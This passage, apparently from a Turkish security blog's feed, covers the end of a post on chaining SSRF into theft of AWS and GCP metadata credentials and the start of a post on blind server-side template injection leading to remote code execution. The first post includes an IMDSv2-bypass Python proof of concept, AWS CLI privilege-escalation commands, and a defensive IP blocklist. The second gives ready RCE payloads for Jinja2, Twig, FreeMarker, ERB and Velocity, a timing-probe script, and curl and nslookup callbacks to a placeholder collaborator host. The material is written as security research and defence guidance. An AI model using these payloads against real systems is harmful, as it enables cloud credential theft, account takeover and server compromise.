/latest/meta-data/iam/security-credentials/{rol-adı} → kimlik bilgileri
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Adım Adım: SSRF → AWS Credential Theft&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/ssrf-cloud-chain.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Adım 1 — SSRF noktasını bul:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tipik SSRF vektörleri:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET /fetch?url=http://evil.com/image.png
POST /webhook  {&amp;quot;callback&amp;quot;: &amp;quot;http://internal&amp;quot;}
PDF oluşturucu: &amp;lt;img src=&amp;quot;http://...&amp;quot;&amp;gt;
XML/SVG parser: &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://...&amp;quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Adım 2 — IAM rol adını öğren:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Yanıt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ec2-prod-role
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Adım 3 — Kimlik bilgilerini çal:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-prod-role HTTP/1.1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Yanıt:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &amp;quot;Code&amp;quot;:            &amp;quot;Success&amp;quot;,
  &amp;quot;Type&amp;quot;:            &amp;quot;AWS-HMAC&amp;quot;,
  &amp;quot;AccessKeyId&amp;quot;:     &amp;quot;ASIA4EXAMPLE...&amp;quot;,
  &amp;quot;SecretAccessKey&amp;quot;: &amp;quot;wJalrXUtnFEMI/K7MDENG/...&amp;quot;,
  &amp;quot;Token&amp;quot;:           &amp;quot;AQoDYXdzEJr//...&amp;quot;,
  &amp;quot;Expiration&amp;quot;:      &amp;quot;2026-05-28T18:00:00Z&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Adım 4 — Kimlik bilgilerini dışarıdan kullan:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;export AWS_ACCESS_KEY_ID=&amp;quot;ASIA4EXAMPLE...&amp;quot;
export AWS_SECRET_ACCESS_KEY=&amp;quot;wJalrXUtnFEMI/...&amp;quot;
export AWS_SESSION_TOKEN=&amp;quot;AQoDYXdzEJr//...&amp;quot;

aws sts get-caller-identity       # Kim olduğunu doğrula
aws s3 ls                         # S3 bucket&#39;larını listele
aws iam list-users                # Tüm IAM kullanıcıları
aws ec2 describe-instances        # Tüm EC2 instance&#39;ları
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Kimlik bilgileri &lt;strong&gt;son kullanma tarihine kadar&lt;/strong&gt; herhangi bir makineden çalışır.&lt;/p&gt;
&lt;h3&gt;IMDSv2: Bypass Tekniği&lt;/h3&gt;
&lt;p&gt;AWS, bu saldırıya karşı &lt;strong&gt;IMDSv2 (Instance Metadata Service v2)&lt;/strong&gt; geliştirdi. IMDSv2&#39;de kimlik bilgilerine erişmek için önce bir session token almak gerekir:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;PUT /latest/api/token HTTP/1.1
X-aws-ec2-metadata-token-ttl-seconds: 21600
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Yanıt: &lt;code&gt;AQAEANlW...&lt;/code&gt; (session token)&lt;/p&gt;
&lt;p&gt;Ardından:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET /latest/meta-data/iam/security-credentials/ HTTP/1.1
X-aws-ec2-metadata-token: AQAEANlW...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;IMDSv2 atlatma:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Birçok SSRF vektörü (PDF oluşturucu, XML parser, headless browser) &lt;code&gt;PUT&lt;/code&gt; isteklerini destekler. Saldırgan önce &lt;code&gt;PUT&lt;/code&gt; ile token alır, ardından &lt;code&gt;GET&lt;/code&gt; ile kimlik bilgilerini çeker.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# PoC: IMDSv2 SSRF bypass (token elde et, sonra kullan)
import requests

BASE = &amp;quot;http://target.com/fetch?url=&amp;quot;
META = &amp;quot;http://169.254.169.254&amp;quot;

# 1. Token al (PUT isteği)
token_resp = requests.put(
    f&amp;quot;{BASE}{META}/latest/api/token&amp;quot;,
    headers={&amp;quot;X-aws-ec2-metadata-token-ttl-seconds&amp;quot;: &amp;quot;21600&amp;quot;}
)
token = token_resp.text

# 2. IAM rol adını öğren
role_resp = requests.get(
    f&amp;quot;{BASE}{META}/latest/meta-data/iam/security-credentials/&amp;quot;,
    headers={&amp;quot;X-aws-ec2-metadata-token&amp;quot;: token}
)
role = role_resp.text.strip()

# 3. Kimlik bilgilerini çal
creds = requests.get(
    f&amp;quot;{BASE}{META}/latest/meta-data/iam/security-credentials/{role}&amp;quot;,
    headers={&amp;quot;X-aws-ec2-metadata-token&amp;quot;: token}
).json()

print(f&amp;quot;AccessKeyId:     {creds[&#39;AccessKeyId&#39;]}&amp;quot;)
print(f&amp;quot;SecretAccessKey: {creds[&#39;SecretAccessKey&#39;]}&amp;quot;)
print(f&amp;quot;Token:           {creds[&#39;Token&#39;][:40]}...&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;GCP ve Azure için Farklılıklar&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Cloud&lt;/th&gt;
&lt;th&gt;Metadata URL&lt;/th&gt;
&lt;th&gt;Header Gereksinimi&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;AWS&lt;/td&gt;
&lt;td&gt;&lt;code&gt;169.254.169.254&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;IMDSv2: &lt;code&gt;X-aws-ec2-metadata-token&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GCP&lt;/td&gt;
&lt;td&gt;&lt;code&gt;metadata.google.internal&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Metadata-Flavor: Google&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Azure&lt;/td&gt;
&lt;td&gt;&lt;code&gt;169.254.169.254&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Metadata: true&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;GCP örneği:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;GET http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Metadata-Flavor: Google
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Yanıt: &lt;code&gt;{&amp;quot;access_token&amp;quot;: &amp;quot;ya29.c.b0...&amp;quot;, &amp;quot;expires_in&amp;quot;: 3599, &amp;quot;token_type&amp;quot;: &amp;quot;Bearer&amp;quot;}&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Privilege Escalation: IAM Üzerinden Tırmanma&lt;/h3&gt;
&lt;p&gt;Çalınan kimlik bilgileriyle doğrudan tam erişim olmayabilir. Ancak IAM izinleri düzgün yapılandırılmamışsa &lt;strong&gt;privilege escalation&lt;/strong&gt; mümkündür:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Mevcut izinleri listele
aws iam list-attached-role-policies --role-name ec2-prod-role

# Kendi rolüne yönetici policy ekle (izin varsa)
aws iam attach-role-policy &#92;
  --role-name ec2-prod-role &#92;
  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Yaygın escalation yolları:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;iam:AttachRolePolicy&lt;/code&gt; → herhangi bir role admin ekle&lt;/li&gt;
&lt;li&gt;&lt;code&gt;lambda:UpdateFunctionCode&lt;/code&gt; → Lambda kodunu değiştir, içinde &lt;code&gt;os.system()&lt;/code&gt; çalıştır&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ec2:RunInstances&lt;/code&gt; + &lt;code&gt;iam:PassRole&lt;/code&gt; → yeni instance başlat, admin rol ver&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Tespit&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;VPC Flow Logs:&lt;/strong&gt; &lt;code&gt;169.254.169.254&lt;/code&gt;&#39;e gelen bağlantıları izle&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CloudTrail:&lt;/strong&gt; Beklenmedik &lt;code&gt;AssumeRole&lt;/code&gt;, &lt;code&gt;GetCallerIdentity&lt;/code&gt;, &lt;code&gt;ListBuckets&lt;/code&gt; API çağrıları&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AWS GuardDuty:&lt;/strong&gt; Anomaly-based IAM credential alert&#39;leri&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Uygulama log&#39;ları:&lt;/strong&gt; User-supplied URL&#39;lerin internal IP range&#39;e gidip gitmediğini kontrol et&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Önlem&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. IMDSv2&#39;yi zorunlu kılın:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;aws ec2 modify-instance-metadata-options &#92;
  --instance-id i-1234567890abcdef0 &#92;
  --http-tokens required &#92;
  --http-put-response-hop-limit 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. URL whitelist / SSRF koruması:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import ipaddress

BLOCKED_RANGES = [
    ipaddress.ip_network(&amp;quot;169.254.0.0/16&amp;quot;),  # link-local
    ipaddress.ip_network(&amp;quot;10.0.0.0/8&amp;quot;),
    ipaddress.ip_network(&amp;quot;172.16.0.0/12&amp;quot;),
    ipaddress.ip_network(&amp;quot;192.168.0.0/16&amp;quot;),
]

def is_safe_url(url: str) -&amp;gt; bool:
    host = extract_host(url)
    ip = ipaddress.ip_address(resolve(host))
    return not any(ip in r for r in BLOCKED_RANGES)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;3. IAM rolleri en az yetki prensibine göre yapılandırın:&lt;/strong&gt; EC2 instance&#39;ına yalnızca ihtiyaç duyduğu S3 bucket&#39;ına erişim verin, &lt;code&gt;iam:*&lt;/code&gt; yetkisi vermeyin.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. Outbound network kurallarını sıkılaştırın:&lt;/strong&gt; Uygulama sunucusunun &lt;code&gt;169.254.0.0/16&lt;/code&gt;&#39;ya erişimini ağ katmanında engelleyin.&lt;/p&gt;
&lt;h3&gt;Sonuç&lt;/h3&gt;
&lt;p&gt;SSRF, yalnızca iç ağ taraması gibi &amp;quot;düşük şiddetli&amp;quot; görünebilir. Bulut ortamlarında bu değerlendirme tamamen yanlıştır. Tek bir SSRF açığı → IAM token → AWS API erişimi → tüm altyapı ele geçirilmesi zinciri, dakikalar içinde gerçekleşebilir.&lt;/p&gt;
&lt;p&gt;2024&#39;teki %452&#39;lik artış, saldırganların bu zinciri otomatize ettiğinin göstergesidir. Herhangi bir &amp;quot;URL al ve fetch et&amp;quot; işlemi, SSRF koruması olmaksızın cloud ortamında dağıtılmamalıdır.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Referans:&lt;/strong&gt; F5 Labs Cloud SSRF Research (2024–2025)&lt;br /&gt;
&lt;strong&gt;İlgili:&lt;/strong&gt; OWASP Top 10 A10 — Server-Side Request Forgery&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Blind SSTI&#39;dan RCE&#39;ye: Çıktısız Template Engine Sömürüsü</title>
    <link href="https://tagmachan.com/blind-sstidan-rceye-ciktisiz-template-engine-somurusu.tagox"/>
    <updated>2026-05-28T09:00:00Z</updated>
    <id>https://tagmachan.com/blind-sstidan-rceye-ciktisiz-template-engine-somurusu.tagox</id>
    <category term="Security Research"/>
    <summary>Uygulama çıktı döndürmediğinde Server-Side Template Injection&#39;ın zamanlama gecikmeleri, DNS callback&#39;leri ve engine parmak izi teknikleriyle nasıl tespit edilip sömürülerek tam uzaktan kod çalıştırmaya ulaşıldığı.</summary>
    <content type="html">&lt;h3&gt;Giriş: Çıktı Yoksa Açık da Yok mu?&lt;/h3&gt;
&lt;p&gt;Server-Side Template Injection (SSTI), kullanıcı girdisinin doğrudan bir template engine tarafından işlendiği durumlarda ortaya çıkar. Klasik örnekte uygulama &lt;code&gt;{{7*7}}&lt;/code&gt; ifadesini &lt;code&gt;49&lt;/code&gt; olarak yansıtır ve açık hemen anlaşılır.&lt;/p&gt;
&lt;p&gt;Ama gerçek dünya bu kadar kolay değildir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blind SSTI:&lt;/strong&gt; Uygulama template ifadesini execute eder, ancak sonucu response&#39;a yansıtmaz. Log&#39;a yazar, başka bir servise iletir ya da sadece sessizce çalıştırır. Saldırgan yine de tam RCE elde edebilir — doğrudan çıktı olmasa bile.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/blind-ssti-hero.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Template Engine Nedir?&lt;/h3&gt;
&lt;p&gt;Template engine, statik şablon ile dinamik veriyi birleştirerek çıktı üretir. Web çerçevelerinde yaygın kullanılanlar:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Engine&lt;/th&gt;
&lt;th&gt;Platform&lt;/th&gt;
&lt;th&gt;Syntax&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Jinja2&lt;/td&gt;
&lt;td&gt;Python (Flask, Django)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{{ }}&lt;/code&gt;, &lt;code&gt;{% %}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Twig&lt;/td&gt;
&lt;td&gt;PHP (Symfony, Drupal)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{{ }}&lt;/code&gt;, &lt;code&gt;{% %}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FreeMarker&lt;/td&gt;
&lt;td&gt;Java (Spring)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;${ }&lt;/code&gt;, &lt;code&gt;&amp;lt;#&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;ERB&lt;/td&gt;
&lt;td&gt;Ruby (Rails)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;&amp;lt;%= %&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Velocity&lt;/td&gt;
&lt;td&gt;Java&lt;/td&gt;
&lt;td&gt;&lt;code&gt;$var&lt;/code&gt;, &lt;code&gt;#directive&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Smarty&lt;/td&gt;
&lt;td&gt;PHP&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{$var}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pebble&lt;/td&gt;
&lt;td&gt;Java&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{{ }}&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Güvenlik açığı, kullanıcı girdisinin template string&#39;e doğrudan dahil edildiğinde oluşur:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# Savunmasız Flask örneği
from flask import Flask, render_template_string, request

@app.route(&#39;/greet&#39;)
def greet():
    name = request.args.get(&#39;name&#39;)
    return render_template_string(f&amp;quot;Hello {name}!&amp;quot;)  # YANLIŞ
    # Doğrusu: render_template_string(&amp;quot;Hello {{ name }}!&amp;quot;, name=name)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;?name={{7*7}}&lt;/code&gt; → &lt;code&gt;Hello 49!&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Blind SSTI: Sessiz Execute&lt;/h3&gt;
&lt;p&gt;Blind senaryolarda uygulama şunlardan birini yapar:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Template çıktısını log dosyasına yazar, response&#39;a koymaz&lt;/li&gt;
&lt;li&gt;Bir email template&#39;ini işler, sonucu kullanıcıya göndermez&lt;/li&gt;
&lt;li&gt;Hata durumunda generic bir mesaj döner, detay vermez&lt;/li&gt;
&lt;li&gt;Başka bir iç servise template çıktısını iletir&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Örnek: E-posta şablonu editörü. Kullanıcı adı alanına &lt;code&gt;{{7*7}}&lt;/code&gt; yazıyor, &amp;quot;Şablon kaydedildi&amp;quot; mesajı görüyor. &lt;code&gt;49&lt;/code&gt; çıktısını hiç görmüyor. Ama server tarafında Jinja2 bu ifadeyi değerlendirdi.&lt;/p&gt;
&lt;h3&gt;Engine Tespiti: Parmak İzi Teknikleri&lt;/h3&gt;
&lt;p&gt;Blind durumda bile, farklı engine&#39;lerin aynı payload&#39;a farklı yanıt verdiği &lt;strong&gt;ayırt edici farklar&lt;/strong&gt; kullanılabilir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Matematiksel tip coercion:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{7*&#39;7&#39;}}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Jinja2:&lt;/strong&gt; &lt;code&gt;7777777&lt;/code&gt; (string çarpma)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Twig:&lt;/strong&gt; &lt;code&gt;49&lt;/code&gt; (numeric coercion)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FreeMarker:&lt;/strong&gt; Hata verir (tip uyumsuzluğu)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bu ayrım blind durumda da işe yarar: zamanlama, hata kodu, ya da OOB callback&#39;teki yanıt farklı olacaktır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Polyglot probe seti:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{{7*7}}
${7*7}
&amp;lt;%= 7*7 %&amp;gt;
#{7*7}
*{7*7}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Her biri farklı engine syntax&#39;ına hitap eder. Birinin tetiklenmesi engine&#39;i daraltır.&lt;/p&gt;
&lt;h3&gt;Blind Tespit: Zamanlama Tabanlı&lt;/h3&gt;
&lt;p&gt;Uygulama çıktı vermese de, &lt;strong&gt;execution süresi&lt;/strong&gt; bize bilgi verir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Jinja2 — sleep payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# Subclasses traversal ile sleep çağrısı
{{&#39;&#39;.__class__.__mro__[1].__subclasses__()[199](&#39;sleep 5&#39;, shell=True, stdout=-1).communicate()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;__subclasses__()&lt;/code&gt; listesinde &lt;code&gt;subprocess.Popen&lt;/code&gt; sınıfının index&#39;i Python sürümüne göre değişir. Doğru index bulunduğunda server 5 saniyelik gecikme gösterir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;FreeMarker — sleep payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;${&amp;quot;freemarker.template.utility.Execute&amp;quot;?new()(&amp;quot;sleep 5&amp;quot;)}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;FreeMarker&#39;ın &lt;code&gt;Execute&lt;/code&gt; sınıfı doğrudan sistem komutlarını çalıştırır.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Twig — sleep payload:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-twig&quot;&gt;{{[&#39;sleep 5&#39;]|filter(&#39;system&#39;)}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Zamanlama ile tespit:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;import requests, time

target = &amp;quot;http://target.com/profile/update&amp;quot;
baseline_data = {&amp;quot;bio&amp;quot;: &amp;quot;hello world&amp;quot;}

# Baseline
t0 = time.time()
requests.post(target, data=baseline_data, timeout=15)
baseline = time.time() - t0

# Probe
probe_data = {&amp;quot;bio&amp;quot;: &amp;quot;{{&#39;&#39;.__class__.__mro__[1].__subclasses__()[199](&#39;sleep 5&#39;,shell=True,stdout=-1).communicate()}}&amp;quot;}
t0 = time.time()
requests.post(target, data=probe_data, timeout=15)
probe_time = time.time() - t0

if probe_time &amp;gt; baseline + 4:
    print(f&amp;quot;[!] Blind SSTI tespit edildi! Gecikme: {probe_time:.1f}s&amp;quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Blind Tespit: Out-of-Band (DNS/HTTP Callback)&lt;/h3&gt;
&lt;p&gt;Zamanlama tekniği yeterince güvenilir değilse, &lt;strong&gt;dışarıya bağlantı&lt;/strong&gt; açılabilir. Burp Collaborator veya interactsh gibi araçlar bunu yakalar.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Jinja2 — DNS exfil:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;{{config.__class__.__init__.__globals__[&#39;os&#39;].popen(&#39;nslookup YOUR_COLLABORATOR_HOST&#39;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Jinja2 — HTTP callback:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;{{config.__class__.__init__.__globals__[&#39;os&#39;].popen(&#39;curl http://YOUR_COLLABORATOR_HOST/ssti&#39;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;FreeMarker — DNS exfil:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;${&amp;quot;freemarker.template.utility.Execute&amp;quot;?new()(&amp;quot;nslookup YOUR_COLLABORATOR_HOST&amp;quot;)}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Twig — HTTP callback:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-twig&quot;&gt;{{[&#39;curl http://YOUR_COLLABORATOR_HOST/ssti&#39;]|filter(&#39;system&#39;)}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Collaborator&#39;da &lt;code&gt;ssti&lt;/code&gt; path&#39;ine gelen istek, blind SSTI&#39;nin kanıtıdır.&lt;/p&gt;
&lt;h3&gt;Engine Tespiti: Hata Tabanlı&lt;/h3&gt;
&lt;p&gt;Bazı engine&#39;ler geçersiz syntax&#39;e farklı hata kodları veya farklı hata mesajları döner.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Kasıtlı geçersiz syntax
{{% invalid_syntax %}}
${{ invalid }}
&amp;lt;%= invalid_ruby_expr %&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Jinja2:&lt;/strong&gt; &lt;code&gt;jinja2.exceptions.TemplateSyntaxError&lt;/code&gt; — Python stack trace&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Twig:&lt;/strong&gt; &lt;code&gt;Twig_Error_Syntax&lt;/code&gt; — PHP stack trace&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FreeMarker:&lt;/strong&gt; &lt;code&gt;freemarker.core.ParseException&lt;/code&gt; — Java stack trace&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ERB:&lt;/strong&gt; &lt;code&gt;SyntaxError&lt;/code&gt; — Ruby stack trace&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hata mesajı response&#39;da görünmese bile, HTTP durum kodu (500 vs 200) farklı olabilir.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://tagmachan.com/assets/img/blog/blind-ssti-chain.svg&quot; alt=&quot;&quot; class=&quot;img-fluid&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;RCE Payload&#39;ları&lt;/h3&gt;
&lt;p&gt;Engine tespit edildikten sonra, tam RCE payload&#39;ları:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Jinja2 (Python) — Kısa yol:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;{{config.__class__.__init__.__globals__[&#39;os&#39;].popen(&#39;id&#39;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Jinja2 — Uzun yol (sandbox bypass için):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;{{&#39;&#39;.__class__.__mro__[1].__subclasses__()}}
# Çıktıdan subprocess.Popen index&#39;ini bul, sonra:
{{&#39;&#39;.__class__.__mro__[1].__subclasses__()[X](&#39;id&#39;,shell=True,stdout=-1).communicate()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Jinja2 — &lt;code&gt;config&lt;/code&gt; olmadan:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;{{request.application.__globals__.__builtins__.__import__(&#39;os&#39;).popen(&#39;id&#39;).read()}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Twig (PHP):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-twig&quot;&gt;{{_self.env.registerUndefinedFilterCallback(&amp;quot;exec&amp;quot;)}}{{_self.env.getFilter(&amp;quot;id&amp;quot;)}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Veya daha doğrudan:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-twig&quot;&gt;{{[&#39;id&#39;]|filter(&#39;system&#39;)}}
{{[&#39;id&#39;, &#39;&#39;]|sort(&#39;system&#39;)}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;FreeMarker (Java):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;${&amp;quot;freemarker.template.utility.Execute&amp;quot;?new()(&amp;quot;id&amp;quot;)}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Veya &lt;code&gt;freemarker.template.utility.JythonRuntime&lt;/code&gt; ile Python çalıştırma:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;#assign ex=&amp;quot;freemarker.template.utility.Execute&amp;quot;?new()&amp;gt;
${ex(&amp;quot;id&amp;quot;)}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;ERB (Ruby):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-erb&quot;&gt;&amp;lt;%= `id` %&amp;gt;
&amp;lt;%= system(&amp;quot;id&amp;quot;) %&amp;gt;
&amp;lt;%= IO.popen(&amp;quot;id&amp;quot;).read %&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Velocity (Java):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-velocity&quot;&gt;#set($x=&#39;&#39;)##
#set($rt=$x.class.forName(&#39;java.lang.Runtime&#39;))##
#set($chr=$x.class.forName(&#39;java.lang.Character&#39;))##
#set($str=$x.class.forName(&#39;java.lang.String&#39;))##
#set($ex=$rt.getRuntime().exec(&#39;id&#39;))##
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Otomasyon: tplmap&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;tplmap&lt;/strong&gt;, SSTI tespiti ve exploitation için geliştirilmiş bir araçtır. SQLmap&#39;in template injection karşılığı gibi düşünülebilir.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Kurulum
git clone https://github.com/epinna/tplmap
cd tplmap &amp;amp;&amp;amp; pip install -r requirements.txt

